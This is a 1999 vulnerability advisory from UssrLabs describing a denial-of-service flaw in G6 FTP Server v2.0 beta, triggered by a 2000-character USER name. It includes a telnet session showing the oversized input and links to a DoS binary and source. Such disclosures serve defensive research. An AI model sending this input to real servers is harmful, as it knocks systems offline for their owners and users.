Remote D.o.S Attack in G6 FTP Server v2.0 (beta 4/5) Vulnerability

Ussr Labs (labsUSSRBACK.COM)
Wed, 17 Nov 1999 03:21:38 -0300

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Remote D.o.S Attack in G6 FTP Server v2.0 (beta 4/5) Vulnerability

PROBLEM

UssrLabs found a Local/Remote DoS Attack in G6 FTP Server v2.0 (beta 4/5),
the buffer overflow is caused by a long user name, 2000 characters.
the G6FTP start to do infinites loops in the main program,and start eating
all memory and all computer resource CPU 100%, at the moment of no more
memory, if this happend ALL System is down :(

Example:
[[gimmemoreitsme]$ telnet example.com 21
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220-G6 FTP Server v2.0 (beta 5) ready ...
USER {buffer)

Binary/Source for this D.O.S:

http://www.ussrback.com/g6ftp/

Where buffer is 2000 characters.

Vendor Status:
Not Contacted

Vendor Url: http://www.gene6.com/
Program Url: http://www.gene6.com/g6ftpd/download.html

Credit: USSRLABS

SOLUTION
    Nothing yet.

u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h
http://WWW.USSRBACK.COM

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